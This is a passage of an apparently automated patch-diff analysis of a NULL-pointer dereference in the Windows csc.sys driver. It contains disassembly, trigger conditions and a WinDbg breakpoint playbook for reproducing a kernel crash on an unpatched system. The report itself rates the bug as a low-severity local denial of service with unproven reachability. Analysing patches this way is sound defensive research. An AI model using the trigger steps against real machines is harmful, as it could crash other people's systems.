&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A8D:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;..&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A92:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x3&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A97:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_4082332987__private_IsEnabledFallback&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; wil_details_IsEnabledFallback, may return 0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007A9C:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x28&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C0007AA0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is a WIL staged-feature check (&lt;code&gt;Feature_4082332987&lt;/code&gt;), not an Offline-Files-specific flag. When bit &lt;code&gt;0x10&lt;/code&gt; of &lt;code&gt;Feature_4082332987__private_featureState&lt;/code&gt; is clear, it falls back to &lt;code&gt;Feature_4082332987__private_IsEnabledFallback&lt;/code&gt;, which can return &lt;code&gt;0&lt;/code&gt; — the condition that makes the entry/exit gates skip the &lt;code&gt;rdi&lt;/code&gt; NULL check.&lt;/p&gt;
&lt;h3&gt;4.3 Patched equivalent — &lt;code&gt;CscDclMRxTransition&lt;/code&gt; (&lt;code&gt;sub_1c005ddcc&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; Entry gate&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005DE43:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x2&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005DE46:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1C005DE52&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005DE48:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xC000000D&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005DE4D:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1C005E392&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005DE52:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;-- DIRECT NULL CHECK (feature call removed)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005DE55:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C005DE48&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; rdi==0 -&amp;gt; error path, block skipped&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005DE57:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005DE5A:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;CscAcquireLViewLock&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; safe — rdi is non-NULL&lt;/span&gt;

&lt;span class="c1"&gt;; Exit gate&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005E39F:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;-- DIRECT NULL CHECK (no feature call)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005E3A2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C005E3AC&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005E3A4:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C005E3A7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;CscFlushLViewWasPreviouslyOffline&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; safe&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Side-by-side, the swap is unambiguous: &lt;code&gt;call Feature_4082332987__private_IsEnabledDeviceUsage&lt;/code&gt; + &lt;code&gt;test eax,eax&lt;/code&gt; + &lt;code&gt;jz&lt;/code&gt; is replaced by &lt;code&gt;test rdi, rdi&lt;/code&gt; + &lt;code&gt;jz&lt;/code&gt; at &lt;strong&gt;both&lt;/strong&gt; guard locations.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;To reach and fire the bug:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Reach the FSCTL dispatch interface.&lt;/strong&gt; Issue an FSCTL / &lt;code&gt;DeviceIoControl&lt;/code&gt; against the CSC device that routes through &lt;code&gt;CscFsCtl&lt;/code&gt; (&lt;code&gt;sub_1c004c760&lt;/code&gt;) → &lt;code&gt;CscDclInternalFsControl&lt;/code&gt; (&lt;code&gt;sub_1c004c938&lt;/code&gt;) → &lt;code&gt;CscDclMRxTransition&lt;/code&gt; (&lt;code&gt;sub_1c005ff5c&lt;/code&gt;). Confirm the exact operation codes against the &lt;code&gt;CscDclInternalFsControl&lt;/code&gt; / &lt;code&gt;CscFsCtl&lt;/code&gt; dispatch before building a PoC.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Force the WIL feature check to return 0.&lt;/strong&gt; &lt;code&gt;Feature_4082332987__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1c0007a70&lt;/code&gt;) must return &lt;code&gt;0&lt;/code&gt;, i.e. the staged feature &lt;code&gt;Feature_4082332987&lt;/code&gt; is disabled: &lt;code&gt;Feature_4082332987__private_featureState&lt;/code&gt; bit &lt;code&gt;0x10&lt;/code&gt; clear and &lt;code&gt;Feature_4082332987__private_IsEnabledFallback&lt;/code&gt; (&lt;code&gt;wil_details_IsEnabledFallback&lt;/code&gt;) returning &lt;code&gt;0&lt;/code&gt;. This is the WIL feature-staging state, not an Offline-Files registry flag.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Supply a NULL LVIEW pointer.&lt;/strong&gt; The request must arrive on an &lt;code&gt;RX_CONTEXT&lt;/code&gt; whose &lt;code&gt;*(*(arg1+0x38)+0x70)&lt;/code&gt; (the LVIEW pointer loaded into &lt;code&gt;rdi&lt;/code&gt;) is NULL.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pass &lt;code&gt;arg2 ∈ {1,2,3}&lt;/code&gt;.&lt;/strong&gt; The &lt;code&gt;cmp ecx, 0x2 / jbe&lt;/code&gt; check at &lt;code&gt;0x1C005FFD6&lt;/code&gt; requires the operation code (&lt;code&gt;arg2 - 1&lt;/code&gt;) to be ≤ 2.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observe the crash.&lt;/strong&gt; Expected result: a kernel access violation (&lt;code&gt;0xC0000005&lt;/code&gt;, &lt;code&gt;STATUS_ACCESS_VIOLATION&lt;/code&gt;) faulting on a small offset from NULL, with the faulting instruction inside &lt;code&gt;CscAcquireLViewLock&lt;/code&gt; (called at &lt;code&gt;0x1C005FFF3&lt;/code&gt;) or &lt;code&gt;CscFlushLViewWasPreviouslyOffline&lt;/code&gt; (called at &lt;code&gt;0x1C0060549&lt;/code&gt;), surfacing as a kernel bug check.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Reachability note: whether a NULL LVIEW pointer can be presented to &lt;code&gt;CscDclMRxTransition&lt;/code&gt; via the FSCTL path (and with the feature disabled) must be validated empirically against the dispatch codes.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Primitive.&lt;/strong&gt; If the feature-disabled path is reached with &lt;code&gt;rdi == NULL&lt;/code&gt;, the result is a kernel NULL-pointer dereference → bug check (local denial of service). On modern Windows the NULL page is reserved and not user-mappable, so the impact is bounded to a crash; there is no memory-corruption, write, or information-leak primitive here.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;No escalation primitive is provided by this bug.&lt;/strong&gt; The dereference is of a NULL base pointer, not attacker-controlled memory. Reaching code execution would require an unrelated way to map the zero page (blocked by NULL-page protection on Windows 8+) plus separate primitives, none of which this change provides. The report does not claim a code-execution path.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reachability is not established.&lt;/strong&gt; As noted in Section 2, &lt;code&gt;rdi&lt;/code&gt; (the LVIEW pointer) is internal redirector state, not a user-supplied value, and the function dereferences it unguarded elsewhere — consistent with it normally being non-NULL. Absent a demonstrated way for a caller to present a NULL LVIEW on this path with the feature disabled, the practical severity is Low.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;For a follow-on agent with &lt;strong&gt;WinDbg/KD attached to the unpatched &lt;code&gt;csc.sys&lt;/code&gt;&lt;/strong&gt;, here is the concrete plan.&lt;/p&gt;
&lt;h3&gt;7.1 Symbols &amp;amp; setup&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;csc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="n"&gt;lm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;csc&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;confirm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;
&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;csc&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;CscDclMRxTransition&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;csc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x5ff5c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If you only have the raw file, addresses in the JSON assume a loaded base of &lt;code&gt;0x1c000000&lt;/code&gt;; rebase to the runtime base via &lt;code&gt;? csc + 0x5ff5c&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;7.2 Breakpoints (ready-to-paste)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp csc!CscDclMRxTransition       ; function entry — inspect rcx, r8d/edx
bp csc+0x5ffe2                    ; vulnerable entry gate (call Feature_4082332987__private_IsEnabledDeviceUsage)
bp csc+0x5fff3                    ; first NULL-deref site (call CscAcquireLViewLock)
bp csc+0x60538                    ; vulnerable exit gate
bp csc+0x60549                    ; second NULL-deref site (call CscFlushLViewWasPreviouslyOffline)
bp csc!Feature_4082332987__private_IsEnabledDeviceUsage  ; observe return value
bp csc+0x5ffa1                    ; the &amp;quot;mov rdi, [rax+0x70]&amp;quot; — where rdi gets loaded
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Why each one matters:
- &lt;strong&gt;&lt;code&gt;CscDclMRxTransition&lt;/code&gt;&lt;/strong&gt; — capture the &lt;code&gt;RX_CONTEXT&lt;/code&gt; (rcx) and op (r8d/edx).
- &lt;strong&gt;&lt;code&gt;csc+0x5ffe2&lt;/code&gt;&lt;/strong&gt; — the gate. If the instruction here is &lt;code&gt;call Feature_4082332987__private_IsEnabledDeviceUsage&lt;/code&gt;, you are on the vulnerable binary; if it is &lt;code&gt;test rdi, rdi&lt;/code&gt;, you are on the patched one.
- &lt;strong&gt;&lt;code&gt;csc+0x5fff3&lt;/code&gt;&lt;/strong&gt; — first dereference; if you reach here with &lt;code&gt;rdi==0&lt;/code&gt;, the bug fires inside &lt;code&gt;CscAcquireLViewLock&lt;/code&gt;.
- &lt;strong&gt;&lt;code&gt;csc!Feature_4082332987__private_IsEnabledDeviceUsage&lt;/code&gt;&lt;/strong&gt; — observe what the feature check returns.&lt;/p&gt;
&lt;h3&gt;7.3 What to inspect at each breakpoint&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;BP&lt;/th&gt;
&lt;th&gt;Register / memory to inspect&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;csc!CscDclMRxTransition&lt;/code&gt; entry&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; = &lt;code&gt;RX_CONTEXT*&lt;/code&gt;; &lt;code&gt;r8d&lt;/code&gt;/&lt;code&gt;edx&lt;/code&gt; = op (must be 1/2/3)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;csc+0x5ffa1&lt;/code&gt; (post load)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rdi&lt;/code&gt; — the LVIEW pointer that may be NULL. Inspect &lt;code&gt;poi(poi(rcx+0x38)+0x70)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;csc!Feature_4082332987__private_IsEnabledDeviceUsage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;On exit, &lt;code&gt;al&lt;/code&gt; — if 0, the NULL check is skipped. Reads &lt;code&gt;Feature_4082332987__private_featureState&lt;/code&gt; (bit &lt;code&gt;0x10&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;csc+0x5ffe2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Right before the call: &lt;code&gt;rdi&lt;/code&gt;, &lt;code&gt;ecx&lt;/code&gt; (should already be &lt;code&gt;op-1&lt;/code&gt; and ≤ 2)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;csc+0x5fff3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; — should equal &lt;code&gt;rdi&lt;/code&gt;; if 0, the deref inside &lt;code&gt;CscAcquireLViewLock&lt;/code&gt; faults&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;7.4 Trigger setup from user mode&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Put the WIL staged feature &lt;code&gt;Feature_4082332987&lt;/code&gt; into the disabled state so &lt;code&gt;Feature_4082332987__private_IsEnabledDeviceUsage&lt;/code&gt; returns 0 (&lt;code&gt;Feature_4082332987__private_featureState&lt;/code&gt; bit &lt;code&gt;0x10&lt;/code&gt; clear and the fallback returning 0).&lt;/li&gt;
&lt;li&gt;Issue an FSCTL / &lt;code&gt;DeviceIoControl&lt;/code&gt; against the CSC device that routes through &lt;code&gt;CscFsCtl&lt;/code&gt; → &lt;code&gt;CscDclInternalFsControl&lt;/code&gt; → &lt;code&gt;CscDclMRxTransition&lt;/code&gt;, with an operation code &lt;code&gt;arg2 ∈ {1,2,3}&lt;/code&gt; and an &lt;code&gt;RX_CONTEXT&lt;/code&gt; whose &lt;code&gt;*(*(arg1+0x38)+0x70)&lt;/code&gt; (the LVIEW pointer) is NULL. Confirm the exact FSCTL codes against the &lt;code&gt;CscFsCtl&lt;/code&gt; / &lt;code&gt;CscDclInternalFsControl&lt;/code&gt; dispatch.&lt;/li&gt;
&lt;li&gt;Confirm the request reached the dispatch by hitting &lt;code&gt;csc!CscFsCtl&lt;/code&gt; first, then stepping into &lt;code&gt;CscDclInternalFsControl&lt;/code&gt; → &lt;code&gt;CscDclMRxTransition&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;7.5 Expected observation confirming the bug&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;EXCEPTION_CODE&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;NTSTATUS&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0xc0000005&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;STATUS_ACCESS_VIOLATION&lt;/span&gt;
&lt;span class="nt"&gt;FAULTING_IP&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;csc&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nt"&gt;CscAcquireLViewLock&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;deref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;LVIEW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;pointer&lt;/span&gt;
&lt;span class="nt"&gt;READ_ADDRESS&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;small&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;NULL&lt;/span&gt;
&lt;span class="nt"&gt;STACK_TEXT&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;csc&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nt"&gt;CscAcquireLViewLock&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;csc&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nt"&gt;CscDclMRxTransition&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1C005FFF3&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;csc&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nt"&gt;CscDclInternalFsControl&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;csc&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nt"&gt;CscFsCtl&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Run &lt;code&gt;!analyze -v&lt;/code&gt; to confirm; &lt;code&gt;kv&lt;/code&gt; to see the chain back through &lt;code&gt;CscFsCtl&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;7.6 Struct / offset notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;RX_CONTEXT&lt;/code&gt;:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x38&lt;/code&gt; → pointer to the structure whose &lt;code&gt;+0x70&lt;/code&gt; field holds the LVIEW pointer.&lt;/li&gt;
&lt;li&gt;Structure at &lt;code&gt;*(ctx+0x38)&lt;/code&gt;:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x70&lt;/code&gt; → LVIEW pointer (loaded into &lt;code&gt;rdi&lt;/code&gt; at &lt;code&gt;0x1C005FFA1&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Feature_4082332987__private_featureState&lt;/code&gt;:&lt;/li&gt;
&lt;li&gt;WIL staged-feature state read by &lt;code&gt;sub_1c0007a70&lt;/code&gt;; bit &lt;code&gt;0x10&lt;/code&gt; gates the fast path, otherwise the fallback decides.&lt;/li&gt;
&lt;li&gt;Operation code (&lt;code&gt;arg2&lt;/code&gt;):&lt;/li&gt;
&lt;li&gt;Values &lt;code&gt;1&lt;/code&gt;, &lt;code&gt;2&lt;/code&gt;, &lt;code&gt;3&lt;/code&gt; all satisfy &lt;code&gt;(arg2-1) &amp;lt;= 2&lt;/code&gt; at &lt;code&gt;0x1C005FFD6&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;Only &lt;strong&gt;one&lt;/strong&gt; function changed.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CscDclMRxTransition&lt;/code&gt; (&lt;code&gt;sub_1C005FF5C&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.9703&lt;/td&gt;
&lt;td&gt;Security-relevant&lt;/td&gt;
&lt;td&gt;Two &lt;code&gt;Feature_4082332987__private_IsEnabledDeviceUsage&lt;/code&gt; feature-check gates replaced with direct &lt;code&gt;test rdi, rdi&lt;/code&gt; NULL checks at entry (&lt;code&gt;0x1C005DE52&lt;/code&gt;) and exit (&lt;code&gt;0x1C005E39F&lt;/code&gt;). Fixes the feature-gated missing NULL check where a &lt;code&gt;feature==0&lt;/code&gt; result branches past &lt;code&gt;test rdi, rdi&lt;/code&gt; into the block that dereferences &lt;code&gt;rdi&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Cosmetic / non-behavioral deltas&lt;/strong&gt; folded into the same change:
- Module-base relocation (the function moves from &lt;code&gt;0x1C005FF5C&lt;/code&gt; to &lt;code&gt;0x1C005DDCC&lt;/code&gt;).
- Callee-address shifts from the relocation: &lt;code&gt;CscAcquireLViewLock&lt;/code&gt; (&lt;code&gt;sub_1c000c340&lt;/code&gt; → &lt;code&gt;sub_1c000b540&lt;/code&gt;), &lt;code&gt;CscFlushLViewWasPreviouslyOffline&lt;/code&gt; (&lt;code&gt;sub_1c00474b0&lt;/code&gt; → &lt;code&gt;sub_1c0045320&lt;/code&gt;) — same target functions at shifted addresses.&lt;/p&gt;
&lt;p&gt;No other functions in the binary exhibit behavioral change.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None. &lt;code&gt;unmatched_unpatched = 0&lt;/code&gt;, &lt;code&gt;unmatched_patched = 0&lt;/code&gt;. No sanitizer was removed and no mitigation helper was added; the fix is entirely in-line within &lt;code&gt;CscDclMRxTransition&lt;/code&gt; (&lt;code&gt;sub_1C005FF5C&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
